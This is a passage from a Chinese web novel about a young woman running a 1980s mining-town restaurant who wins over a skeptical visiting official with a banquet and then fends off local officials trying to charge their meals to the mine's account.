“算了算了,这是张副矿长亲自定下来的,你还是别去触霉头了。” 张副矿长顶着众人怪异的目光,努力泰然自若地说: “三产饭店已经关门不干了,现在用这套房子的是煤矿人家,新饭店,和以前不一样。” 郑解放嘴角抽搐。 不一样,能有多不一样? 这地儿都成耗子窝了,难不成换了个牌子,耗子就搬家不来了? 他说话和气但态度坚决:“不用了,真不用,这次来是公事,不能因为吃饭浪费国家的钱,我们回招待所随便吃点就行了,工作要紧。” 说着,郑解放就要招呼西煤的人回招待所。 这下连一矿食堂都不吃了。 张副矿长急了,西煤的人要是走了,这“卤耗子”的事不得越抹越黑啊?他还怎么一雪前耻? 回头一说,嘿,张副矿长招待兄弟单位的人吃饭吃出耗子不说,第二次还要再让人家去吃耗子肉,这人心眼儿坏透了,不是社会主义好同志。 张副矿长连忙拽住郑解放的胳膊,强笑道:“我请客,我个人请客,不花公家的钱。这家饭店和以前真不一样了,你得信我,我怎么会害自己同志?” 郑解放被他抓着胳膊动弹不得,想甩开,又怕破坏两个单位的友好关系,影响后面几天的考察学习,不得不耐着性子周旋。 两边你拉我扯,在饭店门口唱起了大戏,进进出出的客人不由得侧目。 一边要走,一边要留,这时,饭店里出来了一个小姑娘,正是贺明珠。 贺明珠在旁边看了会儿,弄明白双方在争执什么后,笑眯眯地走上去,对郑解放说:“同志,我是煤矿人家的店长,您是不是对我们饭店有什么误解呢?” 郑解放一愣,没想到店长居然是这样一个年轻的小姑娘。 “没误解,没误解,我个人的问题,和哪个饭店没关系。” 当着张副矿长的面,他言不由衷地说道:“我们是来考察学习的,不是来蹭吃蹭喝的,不好让你们破费,呵呵……” 张副矿长劝了他半天也烦了,脱口而出道:“你不就是嫌以前在三产饭店吃出过耗子吗?我不是说了,现在是新饭店,不一样!” 郑解放也恼了,这人怎么就说不通呢! 话说到这份上,两个人都拉着个脸,其他随行人员噤若寒蝉,谁都不敢出声。 郑解放的副手暗暗着急。 接下来的一周时间还要在一矿考察学习,现在就和管事儿的闹掰了,之后还怎么相处? 他想说点什么调解一下气氛,可现在似乎说什么都不合适。 张副矿长摆明了是要洗脱卤耗子的耻辱,今天非要在这个所谓新开的煤矿人家吃饭;可偏偏郑处对这家饭店有心理阴影,不肯留下吃饭。 一点小事儿遇上两个犟种,就这么僵在这儿了。 他焦急地左右看看,有没有人能过来把这个死结解开啊?! 此时,一道清脆明亮的女声响起。 “张副矿长,还有这位同志,我有几句话,不知当讲不当讲、” 副手循声看去,是那个煤矿人家的小店长。 郑解放虽然对张副矿长很不满,但对于其他人还是很和气的。 他说:“小同志,你说吧。” 贺明珠说:“同志,主席说过,要用发展的眼光来看待事物。万事万物都在发展中,没有什么是一成不变的。虽然过去的三产饭店犯过错,但这不意味着现在的煤矿人家也会犯相同的错误。如果总是拘泥过去,受困于思维定势,只会止步不前,脱离实际,被飞速发展的时代所抛弃。 耗子饭店已经是过去式了,煤矿人家是现在,也是未来。” 这一番话有理有据,郑解放不由得心中一动,陷入沉思。 用发展的眼光来看待事物吗…… 难道是他因循守旧,陷入思维误区,习惯性用旧眼光来看待新事物了? 贺明珠接着说:“同志,我理解你对三产饭店有心理阴影,但煤矿人家是全新的饭店,我们非常非常注重环境卫生和食品安全,绝不会出现类似问题。而且您也看到了,来饭店吃饭的客人很多,群众的眼光是雪亮的,如果煤矿人家有毛病的话,他们是不会来这里吃饭的。” 郑解放下意识朝饭店里看了一眼。 通过窗户,店内人声鼎沸,客人们大快朵颐,脸上带着满足的表情,吃得不亦乐乎。 他心里开始动摇起来。 贺明珠见状,俏皮地补了一句:“同志,我向全国全党全军各族人民保证,煤矿人家里真的没有一只耗子。您就放心吧,要是任何人在店里发现耗子,我当场给大家表演一个生吃耗子。” 这一番话说得,有理论高度,又有情感温度,还有让人忍俊不禁的 小玩笑。 张副矿长和郑解放的脸色都回转过来,现场冰封似的氛围渐渐回升。 郑解放不也是真的想和张副矿长闹掰,贺明珠说服了他,又递了台阶过来,他也不拿乔,顺滑地踩着台阶便下来了。 “这可是你说的,我要是在饭店发现耗子,可要拿你是问了。” 张副矿长哈哈一笑,对贺明珠说:“不只是他,我也要找你们饭店算账。别的不说,这房子首先就不租给你们了!” 贺明珠在心里狂翻白眼,真是给这老头子脸了,又不是她求着他们来吃饭,还拿租房的事吓唬人。 她笑着说:“您说得我可太害怕了,幸好有租房合同,不然我得天天担心您什么时候就要收回房子不租了呢。” 张副矿长被不轻不重噎了一下,想要说什么,贺明珠已经转移了话题,将众人都迎进饭店。 郑解放惊奇地发现店里吃饭的人还挺多,满满当当坐了一屋子。有的人来晚了没位置坐,就端着碗站在桌边吃。 这饭店真有这么好吃? 即使来吃饭的客人这么多,饭店里仍保持着可贵的干净卫生,地上一尘不染,客人离席后,立刻有服务员上去清理打扫。 不碍事儿的角落蹲着一只巨大的狸花猫,目光如炬,杀气腾腾地舔着爪子。 郑解放心里的天平不由得倾斜起来,开始期待起接下来的宴席。 饭店在角落用屏风隔出了独立的空间,里面放了一张大圆桌,正好坐得下来吃饭的这群人。 郑解放和张副矿长客气了一会儿,坐在了主位的旁边,其他人也分次序沿着圆桌分别坐下。 最先上的是凉菜。 朴素的白瓷盘上,各色菜肉色泽鲜艳,摆放讲究精致,一看就很有食欲。 张副矿长率先下筷子,郑解放犹豫了一下,也跟着小小地夹了一筷子。 他举着筷子左右端详,皮冻看起来干净又剔透,放皮冻的盘子看起来也很卫生,一点污渍都没有。 郑解放实在没挑到什么毛病,一咬牙,以舍生忘死的气魄,将皮冻塞进口中。 这一口像是打开了什么阀门,他的胃口一下就被完全调动起来,饥饿信号顺着神经网络传遍全身上下。 好吃!而且想吃更多! 自从吃到过卤耗子后,郑解放在一段时间内食欲极其低迷,再好吃的东西摆在面前都提不起胃口。 但人是铁饭是钢,总不吃饭对身体不好。 因为这毛病,他去卫生院开了一瓶乳酶生,每天没事儿就嚼两颗,强行唤醒死机的肠胃。 可是现在,即使没吃乳酶生,郑解放的胃口忽地蓬勃|起来。 他举着筷子,挨个凉菜尝了个遍。 手撕鸡肉鲜嫩多汁,卤牛肉滋味浓郁,酸辣萝卜开胃生津,炝拌三丝咸香微辣。 特别要说的是蜜汁南瓜。 郑解放爱吃甜,这是爹妈媳妇都不知道的小秘密。 以前只有奶奶会给他塞糖,长大后周围人都说男人不能吃甜的,这是没有男子汉气概的表现。 郑解放也只好假装他不爱吃甜食。 但味蕾不会骗人,那一勺蜜汁南瓜入嘴后,他全身的细胞都在欢呼雀跃。 又香又甜又软又糯,太棒了,这就是他最爱的味道! 郑解放吃得眼睛都眯起来,全身心的松弛,连旁边的张副矿长看着都顺眼多了。 为了这口蜜汁南瓜,他可以短暂原谅对方让他吃了卤耗子排骨。 放凉菜的盘子不小,但当贺明珠来送热菜,顺便看看客人反馈时,却发现六个盘子全空了。 她略微惊讶,又很快意识到现在和后世不同,人们并不会将空盘看作没见过世面的表现,而是很自然地吃掉面前所有的食物。 ——但这个清盘的速度也太快了吧! 这帮人难道一天都没吃饭,专等着晚上这顿宴席吗?! 贺明珠放下热菜,简单说一句“大刀回锅肉,请慢用”,就赶紧回到后厨,要加快上菜速度了。 大刀回锅肉? 回锅肉见得多,头回听说回锅肉前面有“大刀”二字,众人皆感新奇。 只见盘中肉片半肥半瘦,薄薄一片,足有巴掌长,和平日里吃过的回锅肉并不相同。 张副矿长试菜时吃过,知道这道菜的滋味,也不多说,直接招呼众人“吃吧吃吧”,话音未落,自己的筷子已经夹住了最大的一片肉。 郑解放也不客气,朝着大刀回锅肉就下筷子。 和市面上常见的使用五花肉作为原材料的回锅肉不同,大刀回锅肉用的是二刀肉,也就是猪坐墩儿上的肉,一半瘦肉一半肥肉,肥多瘦少。 猪肉切得薄,下锅后慢火熬出肥肉中的多余油脂,放入蒜苗酱料,大火爆炒入味。 等出锅后,肉片色泽油黄,微微卷曲,吃起来肥而不腻,瘦而不柴,还带着浓郁的酱香味和辣味。 郑解放吃得香,连夹好几块肉片,最后盘子中只剩寥寥几根小蒜苗。 一道菜吃完,下一道菜及时端上。 男服务员放下菜,收了空盘子要走,想到些什么,又回头补了一句:“这是扣肉,北方叫扒肉条,南方叫咸烧白,反正都是蒸猪肉,顶多调味有差异。对了,差点忘了说,慢用啊。” 已经没人在意他说什么了。 散发着诱人油光的扣肉在一分钟内就被桌上众人瓜分殆尽。 张副矿长吃完一片还想再吃一片,见盘子空了,老脸拉得和苦瓜似的。 郑解放埋头苦吃,他眼疾手快,一筷子下去扎了两块肥嘟嘟的扣肉。 和回锅肉正相反,扣肉选用了五花肉,切得厚实,先炸后蒸,肉里的油脂被牢牢锁住,每一口下去都是极致的软糯腴滑。 扣肉色泽红亮,吃起来肥而不腻,入口即化,让人忍不住全身心都沉浸在热量爆炸的快乐中。 郑解放珍惜地吃完两块扣肉,一抬眼,忍不住失笑。 众人将菜吃得一干二净,等空盘子收走后,桌子上空无一物,简直像没上过菜。 平素里这样的宴席都是两个单位的人互相吹捧拼酒,似乎酒喝得不够多,就不能显示出双方的深情厚谊。 但今天,所有人都不约而同忘记了喝酒的事儿,只一心期待着下一道菜,虎视眈眈盯着后厨方向。 厨师似乎也听到了这一桌人渴盼的心声,不多时服务员端过来一个巨大的铁盆,接着又拎来一木桶的米饭。 “我们老板说了,这道菜适合配饭吃,大家千万慢用,后厨已经快忙不过来了。” 兼职服务员徐和平将重音落在“慢用”上,可这一桌人谁也听不到他的话了,饿虎扑食似的,数双筷子同时夹向了盆中的新菜。 徐和平狐疑地去瞅这帮国企单位的正式工,怎么他们在好吃的面前还不如他这个小饭店的临时工稳得住阵脚啊! 第67章 第67章挖墙脚与挂账 铁盆刚在桌子上放稳,红油锅底还在荡漾,四面八方伸来的筷子几乎同时伸了进去。 一桌子的人,谁也顾不上所谓的排资论辈餐桌礼仪了。 先下手多吃,后下手没得吃,这会儿谁还顾得上和自己抢吃的是不是顶头上司,抢了新菜落胃袋为安才是正经事。 郑解放动作最快,率先从盆中夹出一块肉来。 来不及看清肉的形状,他一口咬下去,鲜辣酸香在舌尖迸发,下一秒才感到了烫。 他嘶嘶嘶的把肉用牙齿叼住,又烫嘴又不舍得吐出来,耍杂技似的一边倒吸冷气一边嚼嚼嚼。 这肉筋道,很有嚼劲。瘦肉多肥肉少,肉皮上连着一层筋膜,又韧又脆,弹性十足。 吃完一块,郑解放就迫不及待去夹第二块。 幸好盆大料足,桌上人夹过一轮后,盆中还有不少肉块。 连着吃了好几块肉,稍微解了解馋意,郑解放这才有心细细品尝。 肉是牛肉,不同于常见的里脊、肋排、牛腱等牛肉部位,这道菜用的是牛的肚腩皮,又称腩底,是两层柔软肚皮间夹着的一块瘦肉。 这块牛腩肉精瘦,几乎没有多余油脂,肉质厚,牛肉味 儿十足,虽然纤维较粗,但吃起来是越嚼越香。 同时也因为肉厚,适合下重口味调料来烹饪,来使其充分入味。 贺明珠大手笔地在锅中下了一大把的花椒干辣椒,直将汤底染成红通通的颜色,小火慢煮,直到将牛腩煮透为止。 捞出牛腩沥干水分,切成小块后,与腌好的泡椒泡姜泡萝卜同锅翻炒,烈火烹油,浓烈的酸辣味滋啦就冲出了锅。 炒香后在锅中倒入高汤,加入牛蹄筋,盐糖料酒调味后文火慢煨数小时。 在客人来之前,一锅牛腩就已经安安静静在灶台上等着了。 这道菜先煮后炒再炖,工序不可谓不复杂。但一锅牛腩端出来,远远地就能闻到一股浓郁诱人的鲜辣酸香之味,勾得人口水直流。 前厅里有人耐不住,扬声问道:“这是做什么好吃的呢?这味道也太香了吧!服务员,别管多贵,先给我来上一份!” “也给我来一份!” 屏风后的一帮人听到这话,不由得觉得嘴里的牛肉更香了。 就着一锅酸辣牛腩,一桶米饭被吃得精光,连汤里的泡萝卜都捞出来下饭。 主食本不该上的这么早,但这群人实在太能吃了,一道菜送上桌,没几分钟就风卷残云般吃得干干净净。 有这桶米饭拖延时间,在最后一块泡萝卜也被捞出来后,下一道菜才将将端上了桌。 这道是四喜丸子,选七分瘦三分肥的猪肉,细切粗斩,捏成丸子,芡粉抹在表面,先炸再蒸,待出锅后,肉丸细嫩如豆腐,筷子一夹便碎,只能用勺子轻舀。 一桌人于是各自屏气凝神,手指紧捏勺子,动作却轻之又轻,小心翼翼将丸子舀回碗里。 若是稍微动作大了些,丸子破损不完整,不禁让人捶胸顿足地懊丧。 郑解放聚精会神地端着勺子,手腕平移到嘴前,轻轻咬了一口—— 明明是猪肉做成的丸子,吃起来却肉质细嫩,鲜美多汁,每一口都滋味醇厚。 不知不觉中,婴儿拳头大小的肉丸全部被吃完,郑解放望着空空如也的勺子,口中仍有悠长回味。 他将勺子慢慢放下,长长地叹出了一口气。 幸好,他没有因为偏见而错失这样的美味。 四喜丸子后,一道接一道的菜被送了上桌。 羊排烧胡萝卜,海带炖棒骨,春韭炒鸡蛋,以及用巴掌大的鲫鱼煎至金黄后加水熬煮的奶白鱼汤。 其实宴席上的菜并不算多,但因为每道都被吃到空盘,在场众人反而吃得比以往都要多得多。 说起来都是煤矿的中高层领导,平日里也是吃过见过的,但没想到会在一间小小的个体户饭店内吃到平生最好吃的菜。 本来还想着商务互吹一发,展现一下兄弟单位之间的睦邻友好关系,结果现在撑得动弹不得,个个呆滞地瘫坐在椅子上,一句话都说不出来。 郑解放在吃的一半的时候,找借口溜出去,悄悄松了松裤子上系着的腰带。 他吃得痛快,几乎吃到嗓子眼儿了,食物摄入量严重超标,胃部不堪重负,嚷嚷着要罢工。 郑解放这会儿不敢相信任何一个嗝儿,生怕当着兄弟单位和自己单位的面吐出来。 其他人也和他差不多,有个小年轻甚至撑得不住直用手打圈揉肚子。 郑解放忽然想起包里的乳酶生,忙拿出来分给桌上众人。 这药能促进肠胃蠕动,正适合现在这个场合。 大家一边其乐融融地传递着小白药瓶,一边分享美食吃后感。 “那个扣肉可真香啊,我平时不爱吃肥肉,这次都忍不住吃了两块。” “四喜丸子也不错,又细又嫩,进了口都不用嚼,抿一抿就化了。” “要我说,还是那锅牛腩最好吃,不瞒你们说,吃得我连裤腰带都崩开了哈哈哈哈……” 气氛一时和睦极了,有共同享受美食的经历,似乎比互相灌酒灌到烂醉如泥更能加深彼此感情。 张副矿长也说:“我就说嘛,这家饭店的菜很不错的,要不我怎么坚持要来这里吃饭呢?你看我没说错吧。” 郑解放附和着说:“张矿长说得对,没想到三产饭店居然会变成这样一家美食餐馆,每道菜都给人惊喜啊,全是张矿长领导有方,大家说是不是啊?” 其他人知机,都清楚张副矿长的心病,纷纷配合起来。 “是啊是啊,要不是张矿长慧眼识英雄,我们今天怎么能吃到这样美味的食物呢?” “能培养出这样好吃的饭店,张矿长还是对美食很有研究的。” “三产饭店的问题不能归咎到张矿长,张矿长是被连累的……” 听着众人的话,张副矿长这下彻底心满意足了。 什么卤耗子、耗子饭店,那都得被扔到历史的垃圾堆了! 一行人休息得差不多,艰难地站起来,捧着吃撑的肚子缓慢离场。 贺明珠从后厨出来送客,一脑门的汗,身上都被油烟味儿浸透了。 徐和平跟着她身后,腆着脸追问:“小老板小老板,那个锅里还有剩菜吗?我没别的意思,就是忽然觉得有点饿,得吃点夜宵垫补垫补……” 贺明珠拿下巴点了点屏风后碗盘狼藉的一桌,说:“收拾完我就告诉你还有没有。” 徐和平停下脚步,嘶了一声,认命拿起脸盆抹布。 本来还想偷个懒,留到明天再打扫,没成想被小老板火眼金睛给发现了。 欸,小老板的剥削套路真是简单粗暴,可偏偏他就吃这一套。 人家都是小头指挥大头,换成了他,成了胃部指挥大脑,这和谁理论去? 郑解放特意留到最后,和小老板说道:“小同志,你说的对,确实要用发展的眼光来看待事物。我不应该拘泥于惯性思维,先入为主对你们有坏印象。煤矿人家和三产饭店完全不同,你们开了一家很好的饭店。” 贺明珠笑着说:“同志,其实我有心理准备的。虽然我只是租了这套三产饭店留下的房子,但在大众眼里,也接手了三产饭店的烂名声。不过没关系,我相信,以后大家只会记得饭菜很好吃的煤矿人家,而不是耗子成群的三产饭店” 听了贺明珠的话,郑解放不由得感到敬佩。 这样一个朴素的小姑娘,却有着这样的胸怀,真是人不可貌相啊。 一激动,郑解放就说:“我还有一件事要和你商量,可能有些突兀,但希望你能好好考虑一下。” 贺明珠挑眉疑惑:“同志,您请说。” 郑解放却没马上开口,似是这件事有些难以启齿,贺明珠也不催,只是耐心等待。 想到今天吃到的美食,郑解放一鼓作气,终于将心中酝酿已久的话说了出来。 “小同志,你有没有考虑搬到西煤矿务局开店?我们提供场地,不收钱!” 贺明珠:??? 返回来找人的张副矿长:!!! 怎么现在挖墙脚的都挖到兄弟单位来了?! 接下来的一周时间,西煤矿务局来考察学习的人三五成群来煤矿人家吃饭。 这会儿交通不便,出一趟远门很困难,考察结束回去后,不知道猴年马月才能再来乌城。 因此,他们把每一顿都当成最后一顿,把出差补助都花在了煤矿人家。 对此,贺明珠欣然笑纳,并在饭店内推出宴席同款的小份菜,广受欢迎,一度供不应求。 徐和平仗着服务员的身份,每天狗狗祟祟藏起一份菜,留着下工后独享。 结果被来蹭饭的张向党抓了个正着。 这家伙狗鼻子灵,徐和平都把菜藏到猫窝后面了,还是被张向党顺着味道翻了出来。 为了这口吃的,他险些被保卫地盘的贼猫挠破了相。 两个混不吝的家伙凑在一起,再加上一个打着学习旗号来蹭饭的梁志胜,三个嘴馋的痞子臭味相投,天天就琢磨怎么把贺明珠做的菜偷出来私吞。 他们还想把贺明军也拉入伙,对方不置可否 ,轻飘飘来一句“我妹妹做的菜还需要偷?”当场毙的这帮没出息的馋猫满地找牙。 贺明军不参与,但乐得看猴戏,每天的一大乐趣就是看这仨雄赳赳气昂昂地挺进后厨重地,再灰头土脸地逃出来,身后还飞出来铁勺、铲子、案板之类的暗器。 日子过得鸡飞狗跳,像一曲闹腾腾的饭店波尔卡。 但突然,波尔卡中出现了不和谐的音符。 这天,有个一矿的小领导吃完饭后,筷子一放,扭头就走。 徐和平追上去找他结账,这人用一种很让人不舒服的眼神上下打量着他,似笑非笑地说道: “没钱,让你们老板挂一矿的账吧。” 第68章 第68章挂账大军来袭 挂账? 徐和平听了这话心中不快,他平生最恨以权谋私的人了。 于是他伸手一摊作要钱状,不客气地说:“我们店没有挂账的说法,您还是给现钱吧。” 小领导被驳了面子,脸上有些挂不住。 “开什么玩笑,哪个饭店没挂账?赶紧把账记上,我没空和你多说。” 徐和平才不吃他这一套,说:“叫我们老板也没用,不挂账就是不挂账,你要是没钱就把手表留下来,拿了饭钱再回来赎。” 他眼尖,一眼就瞄到这家伙戴着的手表是“上海牌”的,这可是周总理戴过的牌子,一只表要一百二十块呢。 扣下了手表,也不怕这家伙敢不回来付饭钱。 当着一饭店的客人,小领导的脸涨得通红。 “我和你一个小服务员说不清楚,你们老板呢,叫你们老板出来!” 贺明珠听到前厅吵闹,出来看情况,徐和平气呼呼地和她告状:“这人要吃白饭,不付钱!” “什么吃白饭,话说得不要这么难听!” 小领导气道:“我这是挂账,挂账懂吗?!国营饭店都可以挂账,凭什么你们个体户开的店就不能挂账了?没有这个道理!” 贺明珠弄清楚情况,只一句“小本生意,概不赊账”就把小领导的话堵了回去。 小领导气闷,但这会儿贺明军也从后厨走了出来,站到贺明珠身后,问一句:“怎么了?” 贺明珠说:“没什么大事,这人不想付饭钱呢。” “不想付钱?” 贺明军盯住了小领导,眼神很不客气,说:“就你想吃白饭?” 他长得高大,身上又有股子狠劲,不语不笑,掀掀眼皮看人时,能让被看的人从心底发寒。 小领导弱气地说:“没说吃白饭,挂账,我挂账……” 开店以来,贺明军见了不少想逃单的人。 他刚开始没留意,闭店盘账后发现不对劲,之后就多留了个心,抓住不少吃完就想脚底抹油溜走的家伙。 贺明军不打也不骂,就是扣着不让走,直到家人朋友送来钱才放人。 时间一长,爱占便宜的人知道这家饭店的厨子不好惹,敢逃单的人越来越少。 没想到今天又见了一个,这回还给吃白饭换了个新鲜说法。 “挂账?” 贺明军上前一步,居高临下盯着小领导:“哪个批准你挂账了?” 同时被贺明军和徐和平两个年轻力壮的小伙子虎视眈眈地围着,加上饭店里其他人踮着脚尖看热闹,小领导不想在单位门口闹出事儿,讪讪说一句:“不挂账就不挂账,当谁稀罕吃你们家的饭呢……” 他不情不愿地掏出口袋里的钱,数了几张成色最旧的钞票,往桌子上一扔,抬腿就走。 “喏,给你钱。” 徐和平一看钱数不对,转身拦住小领导去路。 “你这顿饭吃了九块八,你怎么才给九块钱?” 小领导理直气壮:“四舍五入,抹个零!” 徐和平都被气笑了:“谁家四舍五入能把九块八抹成九块啊!” 贺明珠捏着两个一毛钱钢镚也追了上来。 “来,您补上一块钱,我给您找两毛。” 两个人堵着小领导不让路,进进出出的人都去看他。 来煤矿人家吃饭的多是一矿职工,一会儿工夫小领导就瞧到好几张熟脸。 他丢不起这人,气呼呼地又从兜里掏出一块钱,故意扔到地上,嘴里还嘟嘟囔囔的。 “会不会做生意啊?挂账挂账不行,抹零抹零也不行,个体户开什么饭店,迟早要黄!” 徐和平年轻气盛,当时就要撸袖子,被贺明珠拦住了。 贺明珠从地上捡起一块钱,在小领导伸手要拿那俩钢镚时,她的手稍微那么一倾斜,两个钢镚砸到地上,咕噜噜地朝外滚去。 “哎呦,不好意思,手滑了。” 小领导顾不上和他们理论,连滚带爬地去追那俩钢镚儿。 徐和平不甘地说:“就这么让他走了?” 贺明珠踮脚拍拍他肩膀:“这才哪儿到哪儿,等着吧,这事儿且完不了呢。” 徐和平不明所以,心想难道这家伙还敢再来干这种名义上挂账、实际是吃白饭的混账事? 要是这样的话,下次他的拳头可就不客气了。 可没过多久,徐和平就明白贺明珠话里到底是什么意思了。 小领导不是唯一一个要挂账的人,之后一段时间,煤矿人家里天天都有嚷嚷着挂账的家伙。 还有人带上了全家老小,点名要吃招待宴同款。 徐和平留了个心眼,说这宴席的菜做起来费工夫费材料,得提前一天预备,让他先付一半的定金。 这人吃惊道:“还要我付钱?和张副矿长一样,直接挂一矿的帐,走接待费。” 徐和平解释得嘴皮子都累了:“我们店不挂账……” “哪能没有挂账,你们店都开在一矿门口,不挂账怎么做生意?你让厨房赶紧预备起来,我们家里急着吃呢。” 这人撂下话就匆匆离开,徐和平无奈地对贺明珠说:“小老板,你看这要怎么办?” 贺明珠没说话呢,贺明军先爆了个粗:“还挂账?我让他挂个屁!” 这事说起来,全怪煤矿人家的饭太好吃了,引来了一帮拿着鸡毛当令箭的中层小领导。 这帮官不大派头挺大的家伙原本看不上单位门口的煤矿人家,煤黑子矿工吃饭的地方能有多好,随便煮两根骨头挂点肉丝,就够他们乐了。 单位食堂给普通矿工做的饭很难吃,但给这群领导们可都是单独开的小灶,从矿工嘴里扣出的伙食费全成了小灶上的大鱼大肉。 因此,即使每天上下班进进出出都能看到煤矿人家的生意兴隆,但也没领导乐意“下凡”。 就算没耗子,那群煤黑子身上脏兮兮的,不得弄得饭店哪儿哪儿都是煤渣子啊。 但一场接待宴,让煤矿人家在一矿的领导间出了名。 三产饭店那个耗子窝现在居然还整挺好,菜做得特别好吃,听说上次吃到卤耗子的西煤领队,这次来了吃得那叫一个赞不绝口。 一矿陪同接待的人也说这家的菜是好,别看是个体户的买卖,做的不比国营饭店的老师傅差了。 于是就有人动了心思。 这段时间,隔三差五饭店里都是要挂账的一矿小领导们。 有人见不成就算了,有人不依不饶,非得要把账挂上,死活不肯从自己口袋掏钱 ——开玩笑,要不是以为能打白条,谁舍得花这么多钱吃饭啊! 关键是这帮小领导属于让他干点事儿他不一定能干成,但他要是想坏事的话,那真是一坏一个准。 贺明珠当初锚定的客户群是这年代相对高收入的矿工,因此才将饭店开在了一矿门口,但现在却不得不面对离一矿太近的副作用。 幸好,贺明珠早就预料到会出现这种情况,并准备好了解决预案。 “二哥,你把张向党叫过来,我有事要和他说。” 徐和平对这个饭友的能力充满怀疑:“他来了能干什么?这大少爷衣来伸手饭来张口的,还没我有用呢。” 贺明军也是同样看法,而且还多了一层护崽的老父亲心态,看哪个男的都不顺眼。 贺明珠冲他俩眨眨眼:“他是没用,但不是还有他爹呢吗?” 贺明军恍然,冲贺明珠竖起大拇指:“还是你有主意。” 贺明珠一抱拳:“过誉过誉。” 贺明军连摇头:“谦虚谦虚。” 贺明珠摆摆手:“客气客气。” 贺明军肯定道:“要得要得。” 徐和平在旁边看的一头雾水,贺家兄妹这是在打什么哑谜呢?有没有人能给他翻译一下啊? 听说是贺明珠叫他,张向党一叫就来,乐颠颠地来了煤矿人家。 贺明珠把他叫到一边,两人嘀嘀咕咕不知道说些什么。 徐和平拎起扫把,虚虚扫着地,不抬头,若无其事地朝那两人的方向移动。 他凑近了,但两人的谈话已到尾声,就光听见张向党拍胸脯保证: “放心,这事儿包在我身上!” 不是,什么事儿啊就包你身上了?! 徐和平好奇得抓心挠肺,但又不肯开口去问贺明珠,好像问了就是变相服软。 他在她面前已经够气弱了,还是给自己留点面子吧。 张向党回了家,顾不上他妈招呼他试新衣服,二话不说先去找爹。 “爹,我有个重要的事儿要和你说!” 张副矿长正在看报,闻声头也不抬地讽道:“你能有什么重要事?” 张向党夺了报纸,一屁股挤到他爹旁边,说:“一矿有人要在煤矿人家挂账!” 张副矿长无所谓:“挂就挂呗,哪家饭店不挂账?” 张向党急了:“那怎么行,吃饭怎么能不给钱!” 张副矿长敷衍他:“又不是真不给,暂时挂着,年底统一到矿上结账。” 要是平时张向党也就信了,但他刚受过贺明珠的点拨,这会儿正不好骗,闻言立刻反驳道:“你哄谁呢,这种私人吃饭花的钱矿上怎么会认?能拿回来一半的欠账都算烧高香,说不定连一半都要不回,光是打白条都能把饭店吃垮!” 张副矿长惊讶地看看张向党:“哟,还算有点脑子。” 张向党机智道:“爹,那你管管呗,别让他们去贺家的饭店挂账了。” 张副矿长慢悠悠地说:“我可管不了。” 张向党急得从沙发上跳起来:“你怎么管不了,你不是副矿长吗?!” 张副矿长最恨头顶的这个“副”字,偏偏说这话的还是他亲儿子,那真是发火都没处发。 “去去去,你懂什么,这事是这么好管的?我能为了家小饭店把一矿的人都得罪了?人家要挂账就让他们挂,开饭店的挣着这份钱,就得受这份罪!” 见张副矿长死活不肯松口,张向党急了,脱口而出道: “爹,要是让他们挂账的话,煤矿人家可就拿不出钱给我们分红了!” 张副矿长猛然抬头:“什么?!” 第69章 第69章马到成功的后续 张向党平时脑子不灵光,到算钱的时候反而脑子转得快。 “你想想,那饭店本小利薄,一天才能挣几个钱?要是随便让人挂账的话,挣的钱还不够让人吃白饭呢!” 张副矿长狐疑道:“不应该啊,我天天路过,看着里面吃饭的人不少啊。” 张向党立刻道:“人多是多,但矿工又不舍得花钱,买的都是便宜菜啊!你是不知道,每天店里卖的最多的是两分钱的土豆饼和萝卜丝饼,还有那个一毛钱一碗的土豆泥,卖出去一份也就挣个几分几厘,一天算下来,除去食材燃料租金雇人的成本,根本就没多少利润!” 张向党这话说得发自内心,这都是贺明珠拿着账本,一笔一笔和他仔细算过的。 他也没想到,煤矿人家看着生意兴旺,每天来吃饭的人多到店里坐不下,但利润居然只有这么一点点,还不够他出去潇洒一顿的呢。 张副矿长半信半疑道:“那就让贺家涨价。” 张向党一拍大腿:“涨价可就没人来了!现在全靠矿工才撑得起人气,要是卖的贵了,那除了打白条吃白饭的,谁还会来店里吃饭啊?!” 张副矿长原本不当回事儿,哪家饭店不挂账,他去国营饭店吃饭可从来没自己掏过钱。 可被儿子这么一说,他不由得也生出一点焦躁来,但还是嘴硬。 “别管了!量贺家少了谁的,也不敢少我们的分红。” 张向党急得简直要原地转圈。 “爹,可贺家也不是非得开这个店啊!” 张副矿长这下是真急了。 且不说每月实打实拿到手的干股分红,就光是煤矿人家的美食,也让他极为不舍。 如果说,张副矿长原来只是想从三产房子出租这件事上刮点油水下来,但自从在煤矿人家吃过饭后,那些色香味俱全的美食更加牵动他的心。 钱可以少拿一点(当然最好不要),但美食可是一点都不能少啊! 张副矿长说服了自己,这以前挂账占的是公家便宜,但现在如果让别人在煤矿人家挂账的话,那占的可就是他自己的便宜了! 刀子不割在自己身上不知道疼,张副矿长这下可算痛彻心扉了。 他一拍茶几,怒道:“不行,绝对不能挂账!” 说干就干,张副矿长挑了个工作日,大摇大摆进到煤矿人家,挑了张中间的桌子就餐。 店内的客人注意到这位副矿长,纷纷向他投来好奇的目光。 不断有人上前和张副矿长打招呼,他都和蔼地应了,还在等上菜的间歇闲谈了几句。 众人皆惊,没想到这个摆架子名声在外的副矿长今天会这么平易近人。 有人自持在一矿也算是个人物的,热情凑上去,邀请张副矿长品鉴一下他点的菜。 张副矿长笑呵呵地说:“不用尝,这家店的菜一向好吃,物美价廉,很不错的。” 听到副矿长的点评,其他人立刻附和,一时间把煤矿人家吹得简直是天上有地下无的,连鸡毛菜都能做出龙肝凤髓的滋味,贺明珠听着都脸红。 到了结账的时候,张副矿长拒绝了其他人要为他付账的请求,从口袋中掏出钱包,慢条斯理在桌子上放了几张钞票。 “我个人吃的饭,当然要个人付钱。” 他若有所指地说:“私人吃饭怎么能挂公家的帐呢?挂账不好,能不挂账,还是不要挂账了。” 牟劲儿向上爬、对仕途有追求的人都心细如发,一句话能听出百十种含义。 响鼓不用重锤,张副矿长一句话就说得店内不少人脸色一变。 这是,来给这家店撑腰了? 可是之前也没听说这家店老板和张副矿长有什么关系啊? 虽说张向党经常来店里蹭吃蹭喝,可这就能请出这一尊大佛? 难道是说,因为煤矿人家把三产饭店“耗子窝”的臭名声一扫而空,还让西煤矿务局的人改口夸赞一矿接待得好,让张副矿长很有面子,所以他才来这一趟? 不管其他人都是怎么想的,这天以后,好几天都没人嚷嚷着要挂账。 徐和平松一口气,他可受够了在关于挂账不挂账的事上和人争论。 但定宴席的那人还是不肯付钱。 “你们饭店到底准备好了没?什么时候才能让我们家过来吃饭啊?” 徐和平只好老调重弹:“小店一概不挂账,您得先付定金。” 